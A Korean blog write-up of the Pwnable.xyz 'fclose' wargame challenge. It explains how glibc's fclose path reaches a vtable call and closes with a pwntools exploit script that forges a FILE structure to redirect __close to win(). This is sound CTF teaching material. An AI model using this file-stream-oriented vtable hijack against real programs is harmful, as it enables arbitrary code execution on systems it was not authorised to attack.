tmxklab

[Pwnable.xyz] fclose 본문

War Game/Pwnable.xyz

[Pwnable.xyz] fclose

tmxk4221 2020. 9. 9. 21:53

1. 문제

nc svc.pwnable.xyz 30018

 

1) mitigation 확인

 

 

2) 문제 확인

인사했는데 안받아줬다

 

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  printf("> ");
  read(0, &input, 0x404uLL);
  fclose(&input);
  return 0;
}
  • read를 통해 input에 0x404byte만큼 입력 값을 받음
  • fclose(input)

 

전역변수)

  • input : 0x601260

2. 접근방법

 

fsop(file stream oriented programming)를 통해 익스

 

FSOP를 위한 fclose()분석

_IO_FILE struct, _flags, _IO_FILE_plus struct, vtable 등에 관한 개념은 다음 링크를 참고하길 바란다. stdout flag를 이용한 libc leak stdout flag값을 변경하여 libc주소를 leak하는 방법을 정리하였다 따로..

rninche01.tistory.com

 

fclose에 파라미터로 들어가는 input변수에 값을 작성할 수 있으므로 _IO_FILE구조체에 맞춰 fclose루틴내에 vtable주소를 변조하여 win함수로 작성한다.

 

fclose루틴 내에 vtable을 참조하는 함수가 2개가 존재

① _IO_new_file_close_it() → _IO_SYSCLOSE → _IO_file_close()(vtable→__close)

② _IO_FINISH → _IO_new_file_finish()(vtable→__finish)

 

이 중에서 나는 ①번의 vtable →__close를 변조하는 방법을 선택했다.

 

1) _IO_new_fclose() 확인

int
_IO_new_fclose (FILE *fp)
{
  int status;
  CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif
  /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);
  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
	...
	...
  return status;
}

먼저 fp의 flag값이 _IO_IS_FILEBUF(0x2000)으로 세팅되어 있으면 _IO_un_link()를 호출한 뒤 _IO_acquire_lock()을 호출하고 _IO_file_close_it()을 호출한다.

목표 : _IO_file_close_it() 호출

 

2) _IO_new_file_close_it()

int
_IO_new_file_close_it (FILE *fp)
{
  int write_status;
  if (!_IO_file_is_open (fp))
    return EOF;
  if ((fp->_flags & _IO_NO_WRITES) == 0
      && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
    write_status = _IO_do_flush (fp);
  else
    write_status = 0;
  _IO_unsave_markers (fp);
  int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
                      ? _IO_SYSCLOSE (fp) : 0);
	...
}
libc_hidden_ver (_IO_new_file_close_it, _IO_file_close_it)

마지막 삼항 연산에서 fp→_flags2_IO_FLAGS2_NOCLOSE로 세팅안되어 있으면 _IO_SYSCLOSE(fp)를 호출하고 여기서 fp의 vtable을 이용하여 호출한다.

목표 : _IO_SYSCLOSE 호출

 


3. 풀이

여기서부터 디버깅을 하면서 fp에 어떻게 값을 세팅해줘야하는지 확인해보자

 

1) Debugging

1-1) _IO_new_fclose()

eax에는 input의 시작위치에 있는 값이 들어있으므로 _flags값을 가져온다.

ah와 0x20과 test연산을 진행하고 서로 동일한 값이면 and연산을 통해 1로 세팅되므로 jne에 의해 +272로 이동한다.

여기서 우리는 +272로 이동되야 한다.

_flags : 0xfbad 0000 + 0x2000

 

_IO_un_link()를 지나 다시 ah와 0x80과 test연산을 진행한다. 여기서 jne를 통해서 +374로 분기되지 않으면(노란색 박스) 밑에 input+0x88을 가져와서 r8과 cmp연산을 한다. input+0x88은 _IO_FILE 구조체에서 _lock멤버 변수위치로 쓰기 권한이 있는 주소 값을 넣어야 한다.(그래서 이 부분을 우회해줄 거임)

_flags : 0xfbad 0000 + 0x2000 + 0x8000

 

그러면 최종적으로 _IO_new_file_close_it()을 호출한다.

 

 

1-2) _IO_new_file_close_it()

쭉 진행되다가 rbx(input)+0x84에 있는 값을 가져와 0x20과 test연산을 진행하고 je연산을 통해 분기하는데 우리의 목표로 가기 위해서는 +272로 분기해야 한다.

rbx(input)+0x74는 _IO_FILE 구조체의 _flags2멤버 변수위치로 0x20과 test연산(and연산)을 진행해서 0이면 ZF플래그로 세팅되서 분기된다.

그래서 딱히 안건드려도 된다. ㅋ

 

그리고 드디어 우리가 원하는 부분을 볼 수 있다!! rbx(input)+0xd8은 _IO_FILE_plus구조체의 vtable멤버변수이다.

 

결국 vtable에 있는 주소를 가져와서 rax에 세팅한 후 vtable에 있는 함수 포인터들 중에 offset 0x88만큼 떨어져 있는 값을 가져와서 호출한다. 그렇다. 이 부분이 바로 _IO_SYSCLOSE 부분이다.

 

이렇게 잘 적절하게 작성해주면된다. 그러면 __close에 해당하는 win()를 호출한당 ㅎㅎㅎ

 

 

2) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30018)
e = ELF("./challenge")
#gdb.attach(p)

input_addr = 0x601260
win_addr = e.symbols['win']

payload = p64(0xfbad2000+0x8000)          # _flags = 0xfbad0000 + 0x2000 + 0x8000
payload += (0x88 - len(payload))/8*p64(0) # 
payload += p64(win_addr)                  # input + 0x88 : win_addr
payload += (0xd8 - len(payload))/8*p64(0)
payload += p64(input_addr)                # input + 0xd8 : input_addr
p.sendafter("> ", payload)

p.interactive()

 

3) 실행결과

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] bookmark  (0) 2020.09.09
[Pwnable.xyz] rwsr  (0) 2020.09.09
[Pwnable.xyz] message  (0) 2020.09.09
[Pwnable.xyz] UAF  (0) 2020.09.09
[Pwnable.xyz] BabyVM  (0) 2020.06.23
Comments